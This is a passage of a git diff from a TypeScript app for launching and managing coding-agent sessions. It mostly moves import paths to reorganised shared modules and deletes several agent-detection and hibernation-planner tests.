useAppStore.getState().clearLocalDetectedAgents() - useAppStore.setState({ - activeRepoId: 'repo-wsl', - activeWorktreeId: 'worktree-wsl', - projects: [ - { - id: 'repo-wsl', - localWindowsRuntimePreference: { kind: 'wsl', distro: 'Ubuntu' } - } - ], - repos: [ - { - id: 'repo-wsl', - path: '\\\\wsl.localhost\\Ubuntu\\home\\alice\\repo', - displayName: 'WSL project', - badgeColor: '#000000', - addedAt: 0 - } - ], - worktreesByRepo: { - 'repo-wsl': [ - { - id: 'worktree-wsl', - repoId: 'repo-wsl', - path: '\\\\wsl.localhost\\Ubuntu\\home\\alice\\repo', - displayName: 'main' - } - ] - } - } as never) - - await renderProbe( - { kind: 'local', worktreeId: 'worktree-wsl' } as AgentDetectionTarget, - (result) => { - activeResult.current = result - } - ) - await renderProbe( - { - kind: 'local', - worktreeId: FLOATING_TERMINAL_WORKTREE_ID, - contextKey: 'host' - } as AgentDetectionTarget, - (result) => { - floatingResult.current = result - } - ) - - expect(activeResult.current?.detectedIds).toEqual(['claude']) - expect(floatingResult.current?.detectedIds).toEqual(['codex']) - expect(useAppStore.getState().detectedAgentIds).toEqual(['claude']) - const detectedContexts = detectLocalAgents.mock.calls.map(([context]) => context) - expect(detectedContexts).toEqual([ - expect.objectContaining({ - projectRuntime: expect.objectContaining({ - runtime: expect.objectContaining({ kind: 'wsl', distro: 'Ubuntu' }) - }) - }), - { enabledOnly: true } - ]) - - refreshLocalAgents.mockResolvedValueOnce({ - agents: ['codex'], - addedPathSegments: [], - shellHydrationOk: true, - pathSource: 'process_env', - pathFailureReason: 'none' - }) - await act(async () => { - await floatingResult.current?.refresh() - }) - await flushEffects() - - expect(activeResult.current?.detectedIds).toEqual(['claude']) - expect(floatingResult.current?.detectedIds).toEqual(['codex']) - expect(useAppStore.getState().detectedAgentIds).toEqual(['claude']) - expect(refreshLocalAgents).toHaveBeenLastCalledWith({ - enabledOnly: true, - wakeWslDistro: true, - userInitiated: true - }) - }) -}) - afterEach(async () => { for (const root of roots) { await act(async () => { diff --git a/src/renderer/src/hooks/useEphemeralVmRecipeOptions.ts b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.ts index 5a920185596..3106e403bb0 100644 --- a/src/renderer/src/hooks/useEphemeralVmRecipeOptions.ts +++ b/src/renderer/src/hooks/useEphemeralVmRecipeOptions.ts @@ -1,5 +1,8 @@ import { useCallback, useEffect, useRef, useState } from 'react' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import type { OrcaVmRecipe } from '../../../shared/workspace-setup/orca-yaml-hook-types' import type { EphemeralVmFailure } from '../../../shared/remote-runtime/ephemeral-vm-recipes/ephemeral-vm-failure-copy' import { ephemeralVmErrorText } from '@/runtime/ephemeral-vm/ephemeral-vm-error-copy' diff --git a/src/renderer/src/hooks/useTaskPageGitHubWorkItemMutation.ts b/src/renderer/src/hooks/useTaskPageGitHubWorkItemMutation.ts index cb570e9068c..491de736732 100644 --- a/src/renderer/src/hooks/useTaskPageGitHubWorkItemMutation.ts +++ b/src/renderer/src/hooks/useTaskPageGitHubWorkItemMutation.ts @@ -5,7 +5,7 @@ import { } from '@/components/task-page/github/mutations/task-page-github-work-item-mutation-patches' import { useCallback, useEffect, useRef, useState } from 'react' import { toast } from 'sonner' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import type { ParsedTaskQuery } from '../../../shared/work-items/task-query' import type { GitHubWorkItem } from '../../../shared/github/work-items/work-item-types' import type { GitHubAssignableUser } from '../../../shared/github/pull-requests/pull-request-types' diff --git a/src/renderer/src/hooks/worktree-change-refresh-queue.ts b/src/renderer/src/hooks/worktree-change-refresh-queue.ts index ab42f494d38..cfd7edc2990 100644 --- a/src/renderer/src/hooks/worktree-change-refresh-queue.ts +++ b/src/renderer/src/hooks/worktree-change-refresh-queue.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { WorktreeSortOrderUpdate } from '../../../shared/worktree/metadata/sort-order-update' type WorktreeRename = { diff --git a/src/renderer/src/hooks/worktree-head-identity-apply.ts b/src/renderer/src/hooks/worktree-head-identity-apply.ts index 386cfd78b98..e04ef3517f8 100644 --- a/src/renderer/src/hooks/worktree-head-identity-apply.ts +++ b/src/renderer/src/hooks/worktree-head-identity-apply.ts @@ -1,5 +1,8 @@ import type { Worktree, WorktreeHeadIdentity } from '../../../shared/worktree/types' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' export type WorktreeHeadIdentityApplyDeps = { diff --git a/src/renderer/src/i18n/language-catalog-timeout.test.tsx b/src/renderer/src/i18n/language-catalog-timeout.test.tsx index 96d2aa1c73a..f30ad8666ec 100644 --- a/src/renderer/src/i18n/language-catalog-timeout.test.tsx +++ b/src/renderer/src/i18n/language-catalog-timeout.test.tsx @@ -2,7 +2,7 @@ import { act } from 'react' import { cleanup, render, screen } from '@testing-library/react' import { afterEach, expect, it, vi } from 'vitest' -import { getDefaultSettings } from '../../../shared/constants' +import { getDefaultSettings } from '../../../shared/orca-profiles/constants' import { useAppStore } from '@/store' import { usePluginLanguagePackStore } from '@/store/plugins/localization/plugin-language-packs' import { OnboardingLanguageLoading } from '@/components/onboarding/OnboardingLanguageLoading' diff --git a/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.test.ts b/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.test.ts index add84689ad0..60830504f20 100644 --- a/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.test.ts +++ b/src/renderer/src/lib/agent-session/accounts/agent-account-restart-startup.test.ts @@ -2,7 +2,7 @@ import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agen import { beforeEach, describe, expect, it, vi } from 'vitest' import { useAppStore } from '@/store/index' import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import { makeTerminalTab } from '@/store/terminals/testing/terminal-row.test-fixture' import { makeWorktree } from '@/store/slices/worktrees/worktree.test-fixture' diff --git a/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.test.ts b/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.test.ts index b4ee3668603..d9b2d8da039 100644 --- a/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.test.ts +++ b/src/renderer/src/lib/agent-session/accounts/claude/claude-session-account-move.test.ts @@ -2,7 +2,7 @@ import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agen import { beforeEach, describe, expect, it, vi } from 'vitest' import { useAppStore } from '@/store/index' import { makePaneKey } from '../../../../../../shared/workspace-layout/stable-pane-id' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import { confirmRuntimeTerminalForegroundProcess, inspectRuntimeTerminalProcess diff --git a/src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.ts b/src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.ts index 861b046a844..990e43df02e 100644 --- a/src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.ts +++ b/src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.ts @@ -4,7 +4,7 @@ import { normalizeCodexAccountSelectionTarget } from '../../../../../shared/agent-accounts/codex/codex-selection-lane' import type { CodexAccountSelectionTarget } from '../../../../../shared/agent-accounts/codex/codex-selection-lane' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { isWslShellName, resolveLocalWindowsTerminalRuntimeOptions diff --git a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner-snapshot.ts b/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner-snapshot.ts index ee5eba4abc4..fe7bd8d95d6 100644 --- a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner-snapshot.ts +++ b/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner-snapshot.ts @@ -1,6 +1,6 @@ import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types' import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { RuntimeTerminalAttention } from '../../../../../shared/terminal/runtime/runtime-terminal-contracts' import type { TerminalLayoutSnapshot, diff --git a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts b/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts index e6a9caf5403..f0b1672d19a 100644 --- a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts +++ b/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts @@ -1,7 +1,7 @@ import { acceptedAgentStatuses } from '@/store/slices/agent-status/accepted-agent-statuses' import { describe, expect, it } from 'vitest' import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { TerminalLayoutSnapshot, TerminalTab @@ -244,29 +244,6 @@ describe('agent sleep planner', () => { ).toEqual([cleared.paneKey]) }) - it.each([undefined, 'pending', 'dispatched'] as const)( - 'blocks orchestration panes while dispatch status is %s', - (dispatchStatus) => { - const orchestrated = entry({ - orchestration: { - taskId: 'task-1', - dispatchId: 'ctx-1', - ...(dispatchStatus ? { dispatchStatus } : {}) - } - }) - - expect( - plannedPaneKeys( - snapshot({ - agentStatusByPaneKey: acceptedAgentStatuses( - Object.entries({ [orchestrated.paneKey]: orchestrated }) - ) - }) - ) - ).toEqual([]) - } - ) - it('requires the idle threshold and blocks input after done', () => { const fresh = entry({ stateStartedAt: NOW - 1_000, updatedAt: NOW - 1_000 }) expect( @@ -575,58 +552,6 @@ describe('agent sleep planner', () => { }) }) -describe('idle clock anchors on stateStartedAt, not updatedAt', () => { - it('keeps the signature stable across such a repaint so confirmation can match', () => { - const before = entry({ stateStartedAt: OLD, updatedAt: OLD }) - const after = entry({ stateStartedAt: OLD, updatedAt: NOW - 1 }) - const sigFor = (e: AgentStatusEntry): string => - planAgentHibernationCandidates( - snapshot({ - agentStatusByPaneKey: acceptedAgentStatuses(Object.entries({ [e.paneKey]: e })), - ptyBindingFirstSeenAtByPaneKey: { [e.paneKey]: OLD } - }) - )[0]!.signature - expect(sigFor(after)).toBe(sigFor(before)) - }) - - it('invalidates the signature when agent kind or resume identity changes', () => { - const base = entry({ stateStartedAt: OLD, updatedAt: OLD }) - const sigFor = (e: AgentStatusEntry): string => - planAgentHibernationCandidates( - snapshot({ - agentStatusByPaneKey: acceptedAgentStatuses(Object.entries({ [e.paneKey]: e })), - ptyBindingFirstSeenAtByPaneKey: { [e.paneKey]: OLD } - }) - )[0]!.signature - const baseline = sigFor(base) - expect( - sigFor( - entry({ - stateStartedAt: OLD, - updatedAt: OLD, - providerSession: { key: 'session_id', id: 'session-2' } - }) - ) - ).not.toBe(baseline) - expect(sigFor(entry({ stateStartedAt: OLD, updatedAt: OLD, agentType: 'codex' }))).not.toBe( - baseline - ) - expect( - sigFor( - entry({ - stateStartedAt: OLD, - updatedAt: OLD, - providerSession: { - key: 'session_id', - id: 'session-1', - transcriptPath: '/tmp/moved.jsonl' - } - }) - ) - ).not.toBe(baseline) - }) -}) - describe('PTY binding and boundary floors', () => { it('defers a pane whose PTY binding was first seen this tick', () => { expect( diff --git a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.ts b/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.ts index eff7bff1a25..3f15b9250ab 100644 --- a/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.ts +++ b/src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.ts @@ -1,5 +1,5 @@ import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types' import { getEligiblePane, diff --git a/src/renderer/src/lib/agent-session/history/title-sync/ai-vault-tab-title-batches.ts b/src/renderer/src/lib/agent-session/history/title-sync/ai-vault-tab-title-batches.ts index 9239f440e99..7e4feae9688 100644 --- a/src/renderer/src/lib/agent-session/history/title-sync/ai-vault-tab-title-batches.ts +++ b/src/renderer/src/lib/agent-session/history/title-sync/ai-vault-tab-title-batches.ts @@ -1,5 +1,5 @@ import { AI_VAULT_SESSION_TITLE_REQUEST_MAX_COUNT } from '../../../../../../shared/ai-vault/contracts/ai-vault-session-title' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { aiVaultTitleRequestKey } from './ai-vault-tab-title-freshness' import type { AiVaultTitleRequest } from './ai-vault-tab-title-requests' diff --git a/src/renderer/src/lib/agent-session/identity/pane-agent-conversations.ts b/src/renderer/src/lib/agent-session/identity/pane-agent-conversations.ts index 7a0034c2b0c..9fbb3b9b542 100644 --- a/src/renderer/src/lib/agent-session/identity/pane-agent-conversations.ts +++ b/src/renderer/src/lib/agent-session/identity/pane-agent-conversations.ts @@ -3,7 +3,7 @@ import type { AgentStatusEntry, AgentType } from '../../../../../shared/agent-status/contracts/agent-status-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id' import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' diff --git a/src/renderer/src/lib/agent-session/launch/agent-settings-update-queue.ts b/src/renderer/src/lib/agent-session/launch/agent-settings-update-queue.ts index 73204358c93..8c92538e4b6 100644 --- a/src/renderer/src/lib/agent-session/launch/agent-settings-update-queue.ts +++ b/src/renderer/src/lib/agent-session/launch/agent-settings-update-queue.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' import { buildAgentAvailabilitySettingsUpdate } from '../../../../../shared/agent-launch/catalog/tui-agent-selection' diff --git a/src/renderer/src/lib/agent-session/launch/continuation/structured-agent-launch-settlement.ts b/src/renderer/src/lib/agent-session/launch/continuation/structured-agent-launch-settlement.ts index 913e6131050..096f80fe3d6 100644 --- a/src/renderer/src/lib/agent-session/launch/continuation/structured-agent-launch-settlement.ts +++ b/src/renderer/src/lib/agent-session/launch/continuation/structured-agent-launch-settlement.ts @@ -9,7 +9,7 @@ import { startStructuredAgentLaunch } from '@/lib/agent-session/launch/structured-agent-session-launch' import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { StructuredAgentLaunchOptions, StructuredPromptDeliveryResult diff --git a/src/renderer/src/lib/agent-session/launch/inventory/agent-detection-target-inventory.ts b/src/renderer/src/lib/agent-session/launch/inventory/agent-detection-target-inventory.ts index 8f97a9eb66b..8782dfdbc57 100644 --- a/src/renderer/src/lib/agent-session/launch/inventory/agent-detection-target-inventory.ts +++ b/src/renderer/src/lib/agent-session/launch/inventory/agent-detection-target-inventory.ts @@ -16,7 +16,7 @@ import { getRuntimeAgentInventoryKey } from '@/store/slices/agent-inventory/runt import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent' type DetectionReadState = Pick< diff --git a/src/renderer/src/lib/agent-session/launch/inventory/host-chat-program.ts b/src/renderer/src/lib/agent-session/launch/inventory/host-chat-program.ts index 26c59b9b23f..1fcbf099ae2 100644 --- a/src/renderer/src/lib/agent-session/launch/inventory/host-chat-program.ts +++ b/src/renderer/src/lib/agent-session/launch/inventory/host-chat-program.ts @@ -1,5 +1,5 @@ import { nativeChatPreferenceFor } from '../../../../../../shared/agent-launch/choices/structured-native-chat-launch-route' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { MANAGED_RUNTIME_INSTALL_RUNTIME_CAPABILITY as INSTALL } from '../../../../../../shared/agent-launch/installation/managed-runtime-install' import { STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY as CATALOG, diff --git a/src/renderer/src/lib/agent-session/launch/native-chat-provider-choice.ts b/src/renderer/src/lib/agent-session/launch/native-chat-provider-choice.ts index f9373670f17..130a56e45fc 100644 --- a/src/renderer/src/lib/agent-session/launch/native-chat-provider-choice.ts +++ b/src/renderer/src/lib/agent-session/launch/native-chat-provider-choice.ts @@ -1,5 +1,5 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { AgentDefaultSurface } from '../../../../../shared/native-chat/native-chat-appearance-settings' import { buildNativeChatProviderUpdate, diff --git a/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-in-new-tab-args.ts b/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-in-new-tab-args.ts index 31494cb246f..6e045998ade 100644 --- a/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-in-new-tab-args.ts +++ b/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-in-new-tab-args.ts @@ -1,7 +1,7 @@ import type { AgentSessionLaunchRequest } from '@/lib/agent-session/launch/routing/agent-session-launch-plan' import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent' import type { LaunchSource } from '../../../../../../shared/telemetry/schemas/telemetry-property-schemas' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { StructuredLaunchTerminal } from '@/lib/agent-session/launch/structured-agent-session-launch-admission' import type { LaunchAgentInNewTabRequest } from '@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab-host-agents' import type { NativeChatComposerFocusIntent } from '@/components/native-chat/composer/focus/native-chat-composer-focus-intent' diff --git a/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-structured-chat-test-fixture.ts b/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-structured-chat-test-fixture.ts index 9ea6b8d9f9f..2a12daf59a3 100644 --- a/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-structured-chat-test-fixture.ts +++ b/src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-structured-chat-test-fixture.ts @@ -6,10 +6,10 @@ import { makeTab } from '@/store/terminals/testing/terminal-tab.test-fixture' import { makeUnifiedTab, makeTabGroup } from '@/store/slices/tabs/tab-group.test-fixture' import { drawTabsFromMain } from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture' import type * as Frames from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture' -import { createGlobalSettingsFixture } from '../../../../../../shared/global-settings-test-fixture' +import { createGlobalSettingsFixture } from '../../../../../../shared/settings/global-settings-test-fixture' import { registerStructuredSelectionCatalogStore } from '../../options/structured-agent-session-selection-controller' import type { structuredLaunchIntent } from './structured-session-launch-intent.test-fixture' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { AppState } from '@/store/types' import type { pasteDraftWhenAgentReady } from '../../messaging/paste/agent-paste-draft' import type { waitForAgentReady } from '../../messaging/paste/agent-ready-wait' diff --git a/src/renderer/src/lib/agent-session/launch/pane/structured-agent-session-tab-open-through-layout-owner.ts b/src/renderer/src/lib/agent-session/launch/pane/structured-agent-session-tab-open-through-layout-owner.ts index 6670524c1b9..3c1a0ac91c7 100644 --- a/src/renderer/src/lib/agent-session/launch/pane/structured-agent-session-tab-open-through-layout-owner.ts +++ b/src/renderer/src/lib/agent-session/launch/pane/structured-agent-session-tab-open-through-layout-owner.ts @@ -1,6 +1,6 @@ // Send open with the chat’s own tab ID, select only after main draws it, and use afterPendingTab before reading the returned tab from store. -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { Tab } from '../../../../../../shared/workspace-layout/tab-groups/tab-types' import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent' import { defaultAgentChatLabel } from '../../../../../../shared/agent-session/agent-session-chat-label' diff --git a/src/renderer/src/lib/agent-session/launch/pane/structured-agent-session-unlisted-created-chats.ts b/src/renderer/src/lib/agent-session/launch/pane/structured-agent-session-unlisted-created-chats.ts index 5b2cc423e63..84dfa48dc63 100644 --- a/src/renderer/src/lib/agent-session/launch/pane/structured-agent-session-unlisted-created-chats.ts +++ b/src/renderer/src/lib/agent-session/launch/pane/structured-agent-session-unlisted-created-chats.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' // Lists built before create can arrive after its reply; omission proves no close until a list actually shows the chat or protection expires. const UNLISTED_CREATED_CHAT_TTL_MS = 30_000 diff --git a/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.ts b/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.ts index b54c5e4b505..288baafb15e 100644 --- a/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.ts +++ b/src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { findFirstIndexedWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner-index' import { requestsCwdOutsideWorkspaceRootForWorkspace } from '../../../../../../shared/shell/launch/terminal-startup-cwd' import { workspaceKindForWorktreeId } from '../../../../../../shared/agent-launch/contracts/workspace-launch-kind' diff --git a/src/renderer/src/lib/agent-session/launch/routing/agent-menu-selection.ts b/src/renderer/src/lib/agent-session/launch/routing/agent-menu-selection.ts index 31aa04013e6..2c37cbe2b93 100644 --- a/src/renderer/src/lib/agent-session/launch/routing/agent-menu-selection.ts +++ b/src/renderer/src/lib/agent-session/launch/routing/agent-menu-selection.ts @@ -1,5 +1,5 @@ import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { nativeChatPreferenceFor } from '../../../../../../shared/agent-launch/choices/structured-native-chat-launch-route' import type { AgentLaunchSurface } from './agent-session-launch-plan' import type { AgentLaunchRoute } from './agent-launch-routing' diff --git a/src/renderer/src/lib/agent-session/launch/routing/agent-session-launch-plan.ts b/src/renderer/src/lib/agent-session/launch/routing/agent-session-launch-plan.ts index f65a2723f97..a6cc12460b2 100644 --- a/src/renderer/src/lib/agent-session/launch/routing/agent-session-launch-plan.ts +++ b/src/renderer/src/lib/agent-session/launch/routing/agent-session-launch-plan.ts @@ -2,8 +2,11 @@ import { notifyAgentLaunchFailure, agentLaunchRecoveryMessage } from '@/lib/agent-session/launch/failure/agent-launch-failure' -import { isLocalExecutionHost, parseExecutionHostId } from '../../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import { + isLocalExecutionHost, + parseExecutionHostId +} from '../../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY } from '../../../../../../shared/agent-session/structured-agent-session-surface-capabilities' import '../structured-agent-session-launch-intent' import { StructuredAgentSessionOwnerUnresolvedError } from '../structured-agent-session-launch-errors' diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-action-launch.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-action-launch.ts index 5bb363471df..4b5b5321c9f 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-action-launch.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-action-launch.ts @@ -24,7 +24,7 @@ import type { Tab } from '../../../../../shared/workspace-layout/tab-groups/tab- import type { StructuredAgentLaunchSettlement } from './continuation/structured-agent-launch-settlement' import type { ProvisionalLaunchArgs } from '../structured-agent-session-provisional-tab' import type { OpenedAgentSessionTab } from './pane/structured-agent-session-tab-open-through-layout-owner' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' export function openDeclinedTerminal( diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission-notices.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission-notices.ts index 1ec0b758fcc..60d76e4e23b 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission-notices.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission-notices.ts @@ -2,7 +2,7 @@ import { toast } from 'sonner' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { useAppStore } from '@/store/index' import { selectExecutionHostDisplayLabel } from '@/runtime/hosts/display/execution-host-display-label' diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission.ts index 071e2b55ba1..123673b8454 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-admission.ts @@ -1,7 +1,7 @@ import { terminalLaunchOpened } from './new-tab/launch-agent-in-new-tab-host-agents' import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent' -import type { ExecutionHostId } from '../../../../../shared/execution-host' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store/index' import { adoptAgentSessionLaunchVerdict, diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-callers.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-callers.ts index 879d1083b7e..888195aaf27 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-callers.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-callers.ts @@ -10,7 +10,7 @@ import type { StructuredAgentSessionResumeSource } from '../../../../../shared/agent-session/structured-agent-session-create' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { StructuredLaunchAttempt } from './structured-agent-session-launch-request' import type { StructuredAgentSessionCreateGate } from './structured-agent-session-launch-errors' diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancel.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancel.ts index 4c896a591c0..f8a536a8e15 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancel.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancel.ts @@ -1,6 +1,9 @@ import { retireStructuredAgentSessionReadOwner } from '@/components/native-chat/session/structured/read/structured-agent-session-read-owner-registry' import { structuredAgentSessionTargetForHost } from '@/runtime/native-chat/session-ownership/structured-agent-session-owner' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../shared/workspace-layout/layout-owner-switch' import { markStructuredAgentLaunchCancellation } from './structured-agent-session-launch-cancellation' import { cancelStructuredAgentLaunchOnLocalHost } from './structured-agent-session-local-launch-cancel' diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancellation.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancellation.ts index 152e0734dbb..56cbd1303b1 100644 --- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancellation.ts +++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-cancellation.ts @@ -1,5 +1,5 @@ // Hide/close late publication of canceled creates for paired hosts; they may not fence 